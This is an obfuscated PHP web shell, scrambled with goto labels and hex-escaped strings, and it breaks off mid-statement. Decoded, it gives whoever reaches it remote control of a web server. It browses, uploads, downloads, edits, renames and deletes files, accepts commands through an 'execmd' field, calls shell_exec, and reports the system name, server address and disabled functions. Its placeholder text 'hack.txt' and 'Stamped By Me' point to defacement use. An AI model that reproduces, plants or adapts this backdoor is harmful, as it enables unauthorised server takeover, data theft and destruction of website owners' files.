fsnFz: Zdbyj: goto LWcmT; FkiWe: function F2y3T($oJwbz, $wWmdu = 1, $FK4d6 = '') { goto yyUAs; yyUAs: global $keVpk; goto Ggz2v; b7Iui: echo "\x3c\163\143\x72\151\x70\164\x3e\163\x77\141\154\50\173\164\151\x74\154\145\72\40\x22{$VpA9t}\42\x2c\x20\x74\x65\170\x74\72\40\x22{$oJwbz}\42\54\x20\151\143\157\156\x3a\40\42{$VpA9t}\42\x7d\51\56\164\150\145\156\x28\x28\142\164\x6e\x43\x6c\x69\x63\153\51\x20\x3d\x3e\x20\173\x63\157\x6e\x73\164\40\x6c\157\x63\75\47" . SIrA4($keVpk) . $FK4d6 . "\47\73\x69\146\x28\142\x74\156\x43\154\151\x63\x6b\46\46\154\x6f\143\51\173\x64\157\x63\165\155\145\156\x74\x2e\154\x6f\143\141\x74\151\157\156\x2e\x68\162\145\146\75\x27\77\x70\x3d\47\x2b\154\157\143\x7d\175\51\x3c\x2f\163\143\162\x69\x70\x74\76"; goto IpEq7; Ggz2v: $VpA9t = $wWmdu == 1 ? "\163\165\143\143\x65\x73\x73" : "\145\x72\162\157\x72"; goto b7Iui; IpEq7: } goto aEVGs; jMwg9: if (!($zErae < 30)) { goto YkZ08; } goto ZxJHB; OrZ4o: C0Md8: goto i4dlG; gFmxG: echo "\106\x61\x69\x6c\x65\x64\40\164\x6f\x20\165\x6e\x7a\151\x70\40\146\x69\x6c\x65\40\x75\163\x69\156\147\40\x63\x6f\x6d\x6d\141\x6e\x64\x20\154\151\156\x65\72\40{$QI9IR}\xa"; goto jGCGI; koPNe: A1Aby: goto cx2iT; nEtKu: xNsqm: goto J2Z1Z; waKUT: goto kWGcU; goto fsnFz; YBovb: zbRWn: goto Gi67v; aIh43: echo "\74\x2f\164\142\x6f\144\171\76\x3c\x2f\164\x61\142\154\145\x3e\12"; goto EkYla; VJrQl: E3PXK: goto PnUlf; ywBVP: F2Y3T("\106\x6f\x6c\144\145\x72\x20" . basename($_POST["\155\141\x6b\145\144\x69\162"]) . "\x20\x63\x72\145\x61\x74\145\x64\41"); goto S_wCk; POOFd: echo $_SERVER["\x53\x45\x52\126\105\122\137\101\104\x44\122"]; goto stDsX; hJOeL: echo substr(@php_uname(), 0, 120); goto ID3JS; pur8d: iyd7_: goto YBovb; YvqIy: echo "\124\x68\x65\40\47\x75\156\172\x69\160\x27\x20\x63\x6f\155\x6d\141\156\x64\x20\151\163\40\x61\166\141\151\154\141\142\154\x65\72\x20" . trim($K1rI2) . "\xa"; goto QOq4Y; ZbLg4: echo "\x3c\x74\x61\x62\154\145\x20\163\x74\x79\154\x65\x3d\x22\x77\x69\144\164\x68\72\61\60\x30\x25\42\x20\x63\x6c\141\x73\x73\75\42\164\x61\142\x6c\145\x20\155\x62\x2d\x32\40\151\x73\55\x66\x61\x6d\x69\x6c\171\55\155\x6f\156\x6f\163\x70\x61\x63\145\42\76\xa\x20\x20\74\164\x68\x65\x61\144\40\x63\x6c\141\x73\163\x3d\x22\x74\x65\x78\164\x2d\154\x69\147\150\164\42\76\xa\x20\40\40\x20\74\x74\x72\76\74\164\150\x3e\116\x61\155\x65\74\x2f\x74\x68\x3e\x3c\164\150\76\x53\151\172\145\x3c\57\164\x68\76\74\x74\150\76\120\x65\x72\155\x69\163\x73\151\157\156\74\57\x74\150\x3e\12\40\x20\x20\40\x20\40\x20\40\x20\40\74\164\150\x3e\x4c\141\163\164\40\115\157\144\151\146\151\x65\x64\74\57\x74\x68\76\xa\x20\x20\40\40\74\164\x68\76\101\143\164\x69\x6f\156\x3c\57\164\150\76\74\x2f\x74\162\76\12\x20\40\x3c\57\164\150\x65\141\144\x3e\xa\40\x20\74\164\142\157\144\x79\40\143\x6c\141\163\x73\x3d\x22\x74\145\170\x74\55\154\151\147\150\x74\x22\76\12"; goto dWgq8; cSOLn: if (!isset($_POST["\x65\x78\145\143\155\144"])) { goto oOGUu; } goto m14ts; g2rop: goto zBzhl; goto udm3W; eIumX: echo $_GET["\x74"] == "\144" ? "\146\x6f\154\x64\145\162" : "\x66\x69\x6c\x65"; goto cItqs; xuNK1: goto Rhx7x; goto FmM8h; GSvI4: function UGWhk($jN21H) { goto L_k5J; j7Ays: $R33Pj = strlen($jN21H) - 1; goto ey6fU; JP5XN: if (!($zErae < $R33Pj)) { goto hAfVm; } goto eMPv2; g_SxY: $zErae += 2; goto tsIzK; tsIzK: goto X4VeH; goto e_kB5; tjy3C: return $YcdOo; goto YvCsc; z8dnR: eUOtl: goto g_SxY; mLCCo: X4VeH: goto JP5XN; eMPv2: $YcdOo .= chr(hexdec($jN21H[$zErae] . $jN21H[$zErae + 1])); goto z8dnR; e_kB5: hAfVm: goto tjy3C; L_k5J: $YcdOo = ''; goto j7Ays; ey6fU: $zErae = 0; goto mLCCo; YvCsc: } goto Qnu8o; Yzggh: QrVTg: goto H351Z; FOIiG: YkZ08: goto sJ72V; k9e4Z: echo uGWhK($_GET["\x6e"]); goto Y43gU; lqGWm: HdZ03: goto Ygctf; vwrwf: die($oJwbz); goto usn9j; zgjy7: $huZFR = fopen(basename($_POST["\x6d\141\153\x65\146\x69\154\x65"]), "\x77") or die(F2y3T("\106\x61\151\x6c\145\144\x20\164\x6f\x20\143\x72\x65\x61\x74\145\40\146\x69\x6c\x65\41", 0)); goto sgdpK; oIhoP: echo "\x20\40\x20\40\74\57\144\x69\166\x3e\12\40\40\x3c\x2f\x64\151\x76\76\12\x20\40\74\x66\x6f\162\x6d\40\155\145\x74\150\157\144\75\42\x70\157\163\164\x22\40\x65\x6e\x63\x74\171\x70\145\x3d\42\x6d\165\x6c\x74\x69\x70\x61\162\164\x2f\x66\157\x72\155\x2d\144\141\x74\141\x22\40\x63\x6c\x61\163\163\x3d\42\146\151\x6c\145\x20\x69\163\x2d\163\x75\143\143\145\163\163\x20\151\163\x2d\x64\x61\x72\153\x20\155\x62\x2d\x30\40\155\x6c\55\x61\165\x74\157\x22\x3e\12\x20\40\40\x20\74\154\141\142\x65\154\x20\143\x6c\x61\163\x73\x3d\42\x66\x69\x6c\x65\x2d\x6c\x61\142\x65\154\42\76\xa\40\40\40\x20\40\x20\74\151\x6e\x70\x75\164\x20\143\x6c\x61\163\163\x3d\x22\x66\x69\x6c\145\x2d\151\156\160\165\x74\x22\40\x74\171\160\x65\75\42\146\x69\x6c\x65\42\x20\x6e\141\155\145\x3d\x22\146\x5b\x5d\x22\40\157\x6e\143\150\x61\x6e\147\145\x3d\x22\164\150\151\163\56\146\x6f\162\x6d\x2e\x73\x75\142\155\x69\x74\x28\x29\42\x20\155\x75\154\164\151\x70\x6c\x65\x20\x2f\x3e\xa\40\40\40\x20\x20\x20\74\x73\x70\x61\x6e\40\x63\x6c\x61\x73\x73\75\x22\146\151\154\145\x2d\143\x74\141\42\x3e\xa\x20\40\x20\40\40\x20\x20\x20\x3c\163\x70\x61\x6e\40\143\x6c\x61\163\163\75\42\146\151\154\x65\x2d\151\x63\157\156\42\x3e\12\x20\40\x20\x20\x20\x20\40\40\40\40\74\151\40\143\154\x61\163\163\x3d\x22\x62\151\40\x62\x69\55\x63\x6c\x6f\x75\144\55\165\x70\154\x6f\x61\144\x2d\x66\x69\154\x6c\x20\x69\163\x2d\163\151\172\x65\55\x35\x22\x20\76\x3c\57\151\x3e\12\x20\40\40\40\40\x20\x20\x20\x3c\x2f\163\160\141\x6e\x3e\xa\x20\x20\40\40\40\x20\40\40\x3c\163\x70\x61\156\40\143\154\x61\x73\x73\x3d\x22\x66\x69\154\145\55\x6c\x61\142\x65\x6c\42\76\x55\x70\x6c\157\141\x64\x20\106\151\154\145\163\342\200\xa6\74\x2f\x73\160\x61\156\76\xa\40\x20\x20\x20\40\x20\74\x2f\163\160\x61\x6e\x3e\12\40\x20\x20\40\74\x2f\x6c\x61\142\145\x6c\76\xa\x20\x20\74\57\146\x6f\162\x6d\x3e\xa\x3c\x2f\x64\x69\x76\76\xa\xa\xa\x3c\141\x72\x74\151\143\x6c\x65\x20\x63\x6c\141\163\x73\x3d\x22\155\164\x2d\x32\42\76\12"; goto GGNqi; yAZoh: echo m9jKO; goto o7FZW; lQQJ8: $Q0FGf = "\x30\61\x32\63\x34\x35\x36\67\x38\71\x61\x62\x63\x64\x65\x66\147\150\x69\x6a\153\154\x6d\156\x6f\x70\161\x72\163\164\165\166\x77\x78\171\x7a"; goto IZHGt; Gq4B7: f2Y3t("\146\157\154\x64\x65\162\40\144\145\154\145\164\x65\x64\x20\x73\165\143\143\145\x73\x73\146\x75\x6c\x6c\x79"); goto NVoZA; He1Ij: $qJtBd->close(); goto eLrPW; DMRFr: goto sl6BV; goto V8laz; Bsshy: echo UGwHK($_GET["\x64"]); goto lhxFV; tzxxE: fclose($huZFR); goto dQvpc; KjXt9: dNIIH: goto NbQpR; lhxFV: echo "\x3c\x2f\154\141\x62\145\x6c\x3e\12\40\x20\x20\40\x20\x20\x3c\151\156\x70\x75\164\40\x74\171\x70\145\75\x22\x68\151\x64\x64\x65\156\x22\x20\156\141\155\145\x3d\x22\143\147\x66\x22\x20\x76\141\154\165\x65\x3d\42"; goto rwbJh; IJK5e: if (!is_dir(UgwHk($_GET["\x70"]) . "\x2f" . uGWhk($_GET["\144"]))) { goto lA959; } goto HD3Iq; Und2g: $I8vAC = ''; goto eEOh3; HJu9V: ezLha: goto r2NiQ; zl_wE: unlink($E5Z_f); goto qgmWb; NzkH4: isset($_POST["\x73"]) ? $mWJjd[16]($keVpk . "\x2f" . UgWHk($_GET["\x6e"]), $_POST["\156"]) ? f2Y3t("\163\165\x63\x63\x65\163\x73\146\165\x6c\x6c\171\40\143\150\x61\x6e\x67\x65\x64\x20\x74\x68\x65\40\146\157\154\144\145\162\40\156\141\155\x65") : f2y3t("\146\141\x69\154\x65\144\40\x74\x6f\x20\143\x68\x61\156\147\x65\x20\164\150\145\x20\x66\x6f\x6c\144\x65\x72\x20\156\141\x6d\145", 0) : null; goto CRCRe; ab_vv: foreach ($C1o8f as $dU_aF) { goto dalmg; Wh9AQ: $FZL46 = $FZL46 > 1024 ? round($FZL46 / 1024, 2) . "\74\x62\76\115\x42\x3c\x2f\142\76" : $FZL46 . "\x3c\142\76\x4b\x42\74\x2f\x62\76"; goto ejXXS; ejXXS: echo "\74\164\162\76\74\x74\x64\x20\143\x6c\141\x73\x73\x3d\47\x69\x73\x2d\146\x6c\145\x78\x27\x20\x73\164\x79\154\145\75\x27\147\141\160\x3a\x34\160\170\x27\x3e\74\141\40\x68\162\x65\x66\75\x22\x3f\160\75" . siRA4($keVpk) . "\46\x61\x3d" . Sira4("\x76\x69\145\167") . "\46\x6e\x3d" . SIra4($dU_aF) . "\x22\76\x3c\151\40\x63\x6c\141\163\x73\75\42\142\151\40\142\151\x2d\x66\x69\154\x65\55\145\141\162\x6d\x61\162\x6b\55\x66\151\x6c\154\42\40\x64\x61\x74\141\55\156\x61\x6d\x65\x3d\x27{$dU_aF}\47\x3e\74\x2f\151\x3e\x20{$dU_aF}\74\x2f\141\76\x3c\x2f\164\144\76\x3c\x74\144\x3e{$FZL46}\74\x2f\164\x64\76\x3c\x74\x64\x3e\x3c\x61\40\x68\x72\145\146\x3d\x27\x3f\160\75" . siRA4($keVpk) . "\x26\x6e\75" . SIra4($dU_aF) . "\x26\x63\x68\155\x6f\x64\146\75\61\x27\x3e\74\146\x6f\156\x74\x20\143\157\154\x6f\162\x3d\x22" . ($mWJjd[8]("{$keVpk}\x2f{$dU_aF}") ? "\43\x30\60\146\x66\x30\x30" : (!$mWJjd[9]("{$keVpk}\x2f{$dU_aF}") ? "\x72\x65\144" : null)) . "\x22\x3e" . iYzXR("{$keVpk}\x2f{$dU_aF}") . "\74\57\146\x6f\x6e\x74\76\74\x2f\141\x3e\x3c\57\x74\x64\76\74\164\144\76" . $mWJjd[19]("\131\55\155\x2d\144\x20\110\x3a\x69", $mWJjd[20]("{$keVpk}\x2f{$dU_aF}")) . "\74\x2f\x74\144\76\x3c\x74\x64\76\74\x64\151\x76\x20\143\x6c\x61\x73\x73\75\x22\151\163\55\x66\x6c\x65\x78\40\152\165\x73\164\151\x66\x79\x2d\143\x6f\x6e\x74\x65\x6e\x74\55\x62\145\x74\x77\x65\145\x6e\42\40\163\x74\171\154\145\75\x27\x67\x61\160\72\x38\160\170\47\x3e\x3c\141\40\143\x6c\x61\x73\163\75\47\x62\165\164\164\x6f\x6e\x20\x69\163\55\x77\141\162\156\151\x6e\147\40\151\163\55\163\155\x61\154\154\x20\160\170\55\62\40\160\171\x2d\x30\47\x20\150\x72\x65\x66\x3d\42\x3f\160\75" . siRA4($keVpk) . "\x26\141\75" . siRA4("\145\x64\151\x74") . "\46\156\75" . sirA4($dU_aF) . "\42\76\x3c\151\40\143\154\x61\x73\x73\x3d\x22\x62\x69\x20\x62\x69\55\160\145\x6e\143\151\154\x2d\x66\x69\154\154\x20\x69\163\x2d\163\x69\x7a\x65\x2d\x36\40\155\x72\x2d\x31\x22\76\x3c\x2f\x69\76\x20\x45\x64\151\x74\x3c\x2f\x61\76\x3c\x61\40\143\154\x61\163\x73\75\x27\142\x75\164\164\x6f\156\40\x69\x73\x2d\151\x6e\146\x6f\x20\x69\x73\55\163\x6d\x61\154\154\40\160\x78\55\x32\40\x70\171\x2d\60\47\40\150\x72\x65\x66\75\42\77\160\x3d" . sirA4($keVpk) . "\46\x61\x3d" . Sira4("\x72\145\156\141\x6d\x65") . "\x26\x6e\75" . SIrA4($dU_aF) . "\x26\164\75\x66\42\76\74\151\40\x63\154\x61\163\163\75\42\151\x20\142\x69\55\x69\x6e\160\x75\x74\55\x63\x75\162\x73\157\162\x2d\164\x65\170\x74\40\x69\x73\x2d\163\151\x7a\x65\x2d\66\x20\x6d\162\x2d\x31\42\76\74\x2f\x69\76\40\x52\x65\x6e\141\155\145\x3c\x2f\141\x3e\74\141\x20\143\154\141\163\x73\x3d\47\x62\x75\164\x74\x6f\x6e\40\x69\163\55\x6c\151\x6e\153\x20\151\163\x2d\x73\x6d\141\x6c\154\40\160\x78\x2d\62\x20\160\171\55\60\47\40\x68\162\x65\146\x3d\42\77\160\75" . sira4($keVpk) . "\46\156\x3d" . Sira4($dU_aF) . "\x26\x64\x6f\167\156\x6c\x6f\141\144" . "\42\x3e\x3c\151\x20\x63\x6c\x61\163\x73\75\x22\142\x69\x20\142\151\55\x63\154\157\x75\144\55\141\x72\162\x6f\x77\55\144\x6f\167\x6e\x2d\x66\151\154\x6c\40\151\x73\55\x73\151\172\x65\55\x36\40\155\162\x2d\61\42\76\x3c\57\x69\x3e\40\104\x6f\167\x6e\154\157\141\144\74\x2f\x61\x3e\74\141\x20\143\154\x61\x73\163\x3d\x27\x62\x75\x74\164\157\156\40\151\x73\55\144\141\x6e\x67\145\162\x20\151\163\x2d\x73\x6d\141\154\154\x20\160\x78\55\62\x20\160\x79\55\60\x27\40\150\162\145\146\x3d\x22\x3f\160\75" . sIra4($keVpk) . "\x26\x74\75\146\x26\141\x3d" . sirA4("\x64\x65\154\x65\164\x65") . "\x26\156\75" . sIRa4($dU_aF) . "\42\40\x64\x61\x74\141\55\x74\x79\160\145\x3d\42\x66\x69\x6c\145\x22\76\74\151\40\143\x6c\x61\163\163\75\42\x62\x69\x20\142\x69\x2d\x74\162\x61\x73\150\55\146\x69\154\154\x20\x69\163\55\163\x69\x7a\x65\55\66\x20\x6d\x72\x2d\61\42\x3e\74\57\151\76\x20\104\x65\x6c\x65\x74\x65\74\57\x61\76\74\57\x64\151\166\76\74\x2f\164\144\76\74\57\164\162\x3e"; goto pa5Hr; z65fV: goto u4dL2; goto aVM9E; dalmg: if ($mWJjd[7]("{$keVpk}\57{$dU_aF}")) { goto w54e1; } goto z65fV; dmBud: $FZL46 = $mWJjd[10]("{$keVpk}\x2f{$dU_aF}") / 1024; goto j3Z1s; pa5Hr: u4dL2: goto V1Cgh; j3Z1s: $FZL46 = round($FZL46, 1); goto Wh9AQ; aVM9E: w54e1: goto dmBud; V1Cgh: } goto sR1SU; oIwRl: echo "\47\x29\x3b\141\x6c\145\x72\x74\x28\x27\103\157\160\151\145\x64\x20\x74\x6f\40\x63\154\151\x70\x62\157\x61\x72\144\47\x29\73\42\40\143\154\x61\163\163\x3d\42\x69\163\x2d\x66\141\x6d\151\154\x79\55\x6d\157\x6e\157\x73\160\141\x63\145\40\x62\x75\x74\164\x6f\x6e\40\x69\x73\x2d\x70\x72\151\x6d\x61\162\x79\40\x69\163\55\151\x6e\166\x65\162\x74\145\x64\40\x70\x6c\x2d\62\40\151\x73\55\157\165\164\x6c\x69\x6e\x65\x64\x22\76\12\x20\x20\40\40\40\40\40\40\74\142\x20\143\154\x61\x73\163\x3d\x22\164\x61\x67\40\x69\163\55\x70\x72\151\155\141\x72\171\40\x6d\162\55\62\42\x3e\x53\x65\x72\x76\145\162\x20\x53\157\x66\x74\x77\141\x72\x65\74\x2f\142\x3e\12\x20\40\40\40\x20\40\x20\40\74\156\x6f\x62\162\76"; goto wgLuw; usn9j: e3VtV: goto gxKiv; qE85o: if (!file_exists(uGwhk($_GET["\x70"]) . "\57" . uGWHK($_GET["\156"]))) { goto J_eMu; } goto DJowL; IUsOc: echo "\x20\174\x20\x4d\x79\x53\121\114\x20\72\x20"; goto tpaVG; sogkV: echo "\74\x2f\156\157\x62\162\76\74\57\154\x69\x3e\12\40\40\40\x20\74\154\151\76\123\x65\x72\x76\145\162\40\123\157\146\x74\167\141\162\x65\40\x3a\x20\74\156\x6f\x62\x72\76"; goto CE65j; rkBN3: $q5oCr = preg_replace("\57" . SiRa4($_SERVER["\x44\x4f\103\125\x4d\x45\x4e\124\137\x52\117\x4f\124"]) . "\57\x69", '', $_GET["\160"]); goto hVz2W; td1r3: echo "\x3c\x2f\x6e\157\x62\162\76\x3c\x2f\x6c\151\76\12\x20\40\x20\40\x3c\154\x69\76\104\151\163\x61\x62\x6c\x65\x64\x20\x66\x75\x6e\143\x74\151\x6f\156\x73\40\x3a\40\x3c\156\157\142\162\76"; goto ezNsH; Rk1K9: if (!$mWJjd[12]($FK4d6)) { goto t9eud; } goto Fnjyw; EkYla: PmSkv: goto dW_tO; W2gVX: Dq1Td: goto ZbLg4; Uoc5T: if ($uKjJE == "\x65\x64\151\x74") { goto hlaFx; } goto DccwL; vbN4c: $uKjJE = UgWhK($_GET["\x61"]); goto RU3J2; dWgq8: $C1o8f = $mWJjd[5]($C1o8f($keVpk), ["\x2e", "\x2e\56"]); goto ThnZz; lNNW1: if (isset($_GET["\160"])) { goto Zdbyj; } goto zgjy7; OTlAe: $zErae++; goto DMRFr; EJLF0: if (is_dir($_POST["\155\141\153\145\x64\151\162"])) { goto s1Yh0; } goto bXfrx; J2Z1Z: echo "\x3c\57\x64\151\166\76"; goto eaSXg; gxKiv: $fKgA3 = "\x74\x65\163\164\x5f\x63\157\155\155\141\x6e\x64\x2e\x7a\151\x70"; goto n6diT; KIbsI: J_eMu: goto znQki; tpaVG: echo nUt1O(); goto OKn_g; bXfrx: if (!mkdir(basename($_POST["\x6d\x61\x6b\145\x64\151\162"]))) { goto EhEmv; } goto ywBVP; aEVGs: function bl7zL($hKgYg) { goto KoENY; UXnmH: jjwP5: goto YymOP; YymOP: array_map("\x64\x65\x6c\x64\x69\162", glob($hKgYg . DIRECTORY_SEPARATOR . "\173\x2c\56\x7d\x2a", GLOB_BRACE | GLOB_NOSORT)); goto gyCAM; ueeNg: if ($mWJjd[6]($hKgYg)) { goto jjwP5; } goto DN98j; uHTAT: return; goto Lsvv_; PuxGU: if (!(trim(pathinfo($hKgYg, PATHINFO_BASENAME), "\56") === '')) { goto hNmOj; } goto uHTAT; gyCAM: rmdir($hKgYg); goto d9V3X; KoENY: global $mWJjd; goto PuxGU; DN98j: unlink($hKgYg); goto CdqQN; Lsvv_: hNmOj: goto ueeNg; CdqQN: goto BleDP; goto UXnmH; d9V3X: BleDP: goto Wx7Yi; Wx7Yi: } goto VLAWb; GGNqi: if (!isset($_GET["\141"])) { goto Dq1Td; } goto Gnh_S; BCVk_: if (!isset($_GET["\x70"])) { goto xYS3g; } goto rkBN3; d7XNG: goto iyd7_; goto cgrAg; Cq9ID: echo "\x3c\41\x64\157\143\164\x79\160\145\x20\150\164\x6d\x6c\x3e\xa\74\150\164\x6d\154\40\x6c\x61\156\x67\x3d\x22\x65\156\42\x3e\xa\40\x20\x3c\x68\145\141\144\x3e\12\x20\x20\x20\x20\74\x6d\x65\x74\141\40\x6e\x61\155\x65\x3d\42\164\150\x65\155\x65\55\143\157\154\157\162\x22\x20\x63\x6f\x6e\x74\145\x6e\164\x3d\42\162\145\144\x22\x3e\12\40\x20\x20\40\74\155\x65\164\x61\x20\156\x61\x6d\x65\75\x22\x76\x69\x65\167\x70\x6f\162\164\x22\40\x63\x6f\156\164\x65\x6e\164\75\x22\167\151\144\164\x68\75\144\x65\166\151\x63\x65\55\167\x69\144\164\x68\x2c\x20\151\x6e\151\x74\151\x61\154\x2d\163\x63\141\154\x65\75\60\x2e\x36\x30\54\x20\163\150\162\151\156\x6b\55\x74\157\55\x66\151\x74\75\x6e\157\42\76\12\x20\x20\40\x20\74\154\151\156\x6b\40\162\x65\x6c\x3d\42\163\x74\x79\x6c\x65\x73\150\145\x65\164\x22\40\150\162\145\146\x3d\42\150\x74\x74\x70\x73\x3a\57\57\x63\144\x6e\x2e\152\163\x64\145\154\x69\166\162\56\x6e\x65\164\57\x6e\x70\155\x2f\142\x75\154\x6d\141\x40\x31\56\60\x2e\62\57\143\x73\x73\x2f\x62\165\154\155\x61\x2e\x6d\151\x6e\x2e\143\163\163\x22\x3e\12\40\x20\x20\40\x3c\x6c\151\156\153\40\x72\145\x6c\75\x22\163\164\x79\154\x65\x73\150\145\x65\164\x22\40\x68\162\x65\146\x3d\42\x68\x74\164\x70\x73\72\57\57\x63\x64\x6e\x2e\x6a\163\144\145\x6c\x69\166\162\x2e\x6e\145\164\57\x6e\160\x6d\57\142\157\157\164\x73\164\162\x61\x70\x2d\x69\143\157\156\x73\x40\61\56\x31\x31\56\x33\x2f\146\x6f\156\164\x2f\x62\157\157\164\x73\164\x72\x61\x70\x2d\151\143\x6f\156\x73\56\x6d\x69\x6e\x2e\x63\x73\x73\42\76\12\x20\40\40\x20\74\x6c\151\156\153\40\x68\162\145\146\75\x22\150\164\x74\x70\163\72\x2f\57\x63\144\x6e\56\x6a\163\144\145\x6c\151\x76\x72\56\156\145\164\x2f\x6e\x70\155\57\x40\145\170\165\x61\x6e\x62\x6f\57\x66\x69\154\145\55\x69\x63\x6f\156\163\55\152\x73\100\154\x61\164\x65\x73\x74\x2f\144\x69\x73\x74\57\x63\x73\x73\57\146\151\154\x65\55\151\x63\x6f\x6e\163\x2e\155\151\x6e\x2e\x63\x73\x73\42\x20\162\x65\x6c\75\42\163\164\171\x6c\145\x73\150\145\145\164\42\x3e\xa\12\x20\40\x20\x20\x3c\164\151\164\x6c\145\76"; goto AMrTf; HD3Iq: fgYw1($_POST["\143\147\146"], $_POST["\x63\157\x64\x65\170"]); goto LNZmW; cx2iT: echo "\74\146\x6f\162\x6d\40\155\145\x74\150\157\144\x3d\42\160\157\163\164\42\x20\x63\x6c\x61\163\x73\75\42\142\157\x78\x22\40\x73\x74\x79\x6c\145\x3d\x22\142\157\x72\144\x65\162\x3a\62\x70\170\x20\x73\x6f\154\151\144\x20\x68\x73\154\x28\61\67\x31\x2c\40\61\60\60\45\x2c\x20\61\66\45\x29\x22\x3e\12\40\x20\74\x68\x34\40\x63\154\141\163\x73\75\x22\x69\163\55\163\151\x7a\145\55\65\x20\x68\x61\x73\55\x74\145\x78\x74\55\x77\x65\151\147\x68\x74\55\x62\157\154\144\x20\x68\x61\163\55\x74\145\170\x74\55\x70\x72\151\x6d\141\162\171\x20\155\x62\55\x34\42\x3e\x43\162\x65\141\x74\145\40\116\145\x77\40\x46\x6f\154\144\145\162\74\57\150\x34\x3e\12\x20\x20\74\x64\151\x76\40\143\154\x61\x73\163\x3d\x22\x66\x69\145\154\144\42\x3e\xa\40\x20\x20\x20\x3c\x6c\141\142\x65\154\x20\146\157\162\75\x22\x6e\x22\40\143\x6c\x61\x73\163\75\x22\x6c\x61\142\145\x6c\42\x3e\x4e\x61\155\x65\74\x2f\154\141\x62\x65\154\76\12\x20\x20\40\40\x3c\x69\x6e\160\165\x74\x20\156\141\x6d\x65\x3d\x22\156\x22\x20\151\x64\75\42\x6e\x22\40\143\154\141\163\163\75\x22\x69\x6e\x70\x75\164\42\x20\x61\x75\x74\157\x63\x6f\155\160\154\x65\x74\145\75\42\157\x66\146\x22\76\12\x20\x20\x3c\x2f\144\151\166\x3e\12\x20\40\74\x62\x75\164\x74\x6f\156\40\164\171\x70\145\x3d\x22\x73\165\142\155\x69\x74\42\40\x6e\x61\x6d\x65\75\42\163\x22\x20\143\154\x61\x73\163\75\x22\x62\165\x74\x74\157\x6e\40\x69\x73\x2d\x70\x72\151\155\141\162\171\42\x3e\103\x72\145\141\164\145\74\57\142\165\x74\164\x6f\x6e\76\xa\74\x2f\146\157\162\155\76\xa"; goto C_GN8; CzNJw: T17o4: goto efyrq; hB10d: $keVpk = $mWJjd[2](); goto ppGjr; RYjUz: function sIra4($jN21H) { goto wv1BN; PBSAn: eiVC8: goto LKaAH; XsSUD: e7xAP: goto voRJy; t4XU4: UQ2Na: goto OgPc4; YjgWV: goto eiVC8; goto XsSUD; YvCEs: $YcdOo .= dechex(ord($jN21H[$zErae])); goto t4XU4; wv1BN: $YcdOo = ''; goto ff7B0; LKaAH: if (!($zErae < strlen($jN21H))) { goto e7xAP; } goto YvCEs; ff7B0: $zErae = 0; goto PBSAn; OgPc4: $zErae++; goto YjgWV; voRJy: return $YcdOo; goto jsoRn; jsoRn: } goto GSvI4; RXCC4: goto GvegE; goto nXISj; eaSXg: goto PmSkv; goto W2gVX; A6yqx: if (empty($K1rI2)) { goto H2eZY; } goto YvqIy; r5Ado: echo "\x20\x20\74\146\157\x72\x6d\40\155\145\x74\150\x6f\x64\x3d\42\x70\157\163\x74\42\40\x63\x6c\141\x73\x73\x3d\42\x62\x6f\170\42\x20\163\164\x79\154\x65\x3d\42\142\x6f\x72\144\145\x72\x3a\x32\160\x78\x20\163\157\154\151\144\40\x68\x73\x6c\50\x31\67\61\x2c\40\61\x30\60\45\x2c\40\61\x36\x25\51\42\76\12\40\x20\x20\40\74\x68\64\x20\x63\154\x61\x73\x73\x3d\x22\x69\163\x2d\x73\151\x7a\x65\55\x35\40\x68\141\163\55\164\145\170\x74\55\167\145\151\x67\x68\x74\55\142\157\154\144\40\x68\141\x73\55\164\x65\170\x74\55\x70\x72\x69\155\141\162\171\40\x6d\142\x2d\64\42\76\x43\162\145\x61\164\145\x20\116\x65\167\40\x46\151\x6c\145\x3c\57\x68\64\76\xa\40\x20\x20\40\74\144\x69\x76\40\x63\x6c\141\163\x73\75\x22\146\151\145\x6c\144\42\x3e\12\40\40\x20\40\40\40\x3c\x6c\141\142\145\x6c\x20\x66\157\x72\75\x22\x6e\42\x20\x63\154\141\163\x73\75\42\154\x61\x62\145\154\42\76\x46\151\x6c\x65\156\x61\x6d\x65\74\x2f\154\x61\142\145\154\76\xa\40\40\x20\x20\40\40\x3c\151\x6e\x70\165\x74\40\x74\x79\x70\x65\x3d\x22\164\145\x78\x74\42\40\x6e\141\x6d\x65\75\x22\x6e\x22\x20\x69\x64\x3d\x22\156\42\x20\143\x6c\x61\163\x73\75\42\151\156\160\x75\x74\x22\x20\160\154\141\143\x65\x68\x6f\154\144\x65\162\x3d\x22\x68\141\143\x6b\56\164\x78\164\x22\76\xa\x20\x20\40\x20\x3c\57\144\x69\166\x3e\xa\x20\x20\x20\40\x3c\144\151\166\x20\143\154\x61\163\x73\x3d\42\146\x69\145\x6c\x64\42\x3e\12\40\x20\40\x20\40\x20\74\x6c\x61\142\145\x6c\x20\x66\x6f\x72\75\x22\x63\x74\x6e\42\x20\143\x6c\141\x73\x73\x3d\x22\x6c\141\142\x65\154\42\76\x43\x6f\x6e\164\145\x6e\164\x3c\57\154\x61\x62\x65\x6c\x3e\12\40\40\x20\40\40\40\x3c\x74\x65\x78\x74\x61\162\x65\x61\40\163\x74\171\154\x65\x3d\x22\x72\145\x73\151\x7a\x65\72\156\x6f\x6e\145\42\x20\x6e\x61\155\x65\x3d\42\x63\x74\x6e\x22\x20\x69\x64\x3d\42\143\164\156\x22\x20\x63\157\154\163\75\42\x33\x30\42\x20\x72\x6f\167\x73\75\42\61\60\x22\40\x63\154\141\x73\x73\x3d\42\x74\145\170\x74\141\x72\145\141\x22\40\160\x6c\x61\x63\145\x68\157\x6c\x64\x65\x72\x3d\x22\43\x20\123\164\x61\155\160\145\x64\x20\x42\x79\40\115\145\42\76\74\x2f\x74\145\x78\164\x61\162\x65\141\76\xa\40\x20\40\40\x3c\57\144\x69\x76\x3e\12\x20\40\40\40\x3c\x62\x75\164\x74\157\x6e\x20\164\171\160\145\75\42\163\165\x62\x6d\151\x74\x22\40\x6e\x61\155\x65\75\x22\x73\42\40\143\154\141\163\163\x3d\42\x62\165\164\x74\x6f\x6e\40\151\x73\x2d\160\162\x69\155\141\x72\171\42\76\103\162\x65\141\164\x65\x3c\57\x62\165\164\164\157\x6e\76\xa\40\x20\74\57\x66\x6f\x72\x6d\76\12\xa"; goto AqqqY; rcEfg: goto dR8cX; goto Qm8jY; Vk0NB: echo nut1o(); goto F5940; i4dlG: VAoSI: goto OTlAe; NVoZA: XD1zL: goto xLpxC; rA9Hj: $bP9ht = shell_exec("\172\x69\160\x20{$fKgA3}\40{$E5Z_f}\40\62\76\46\61"); goto qG05B; PC10j: F2Y3T("\x66\151\x6c\145\40\146\x61\151\x6c\145\144\x20\164\157\x20\165\160\x6c\x6f\141\144", 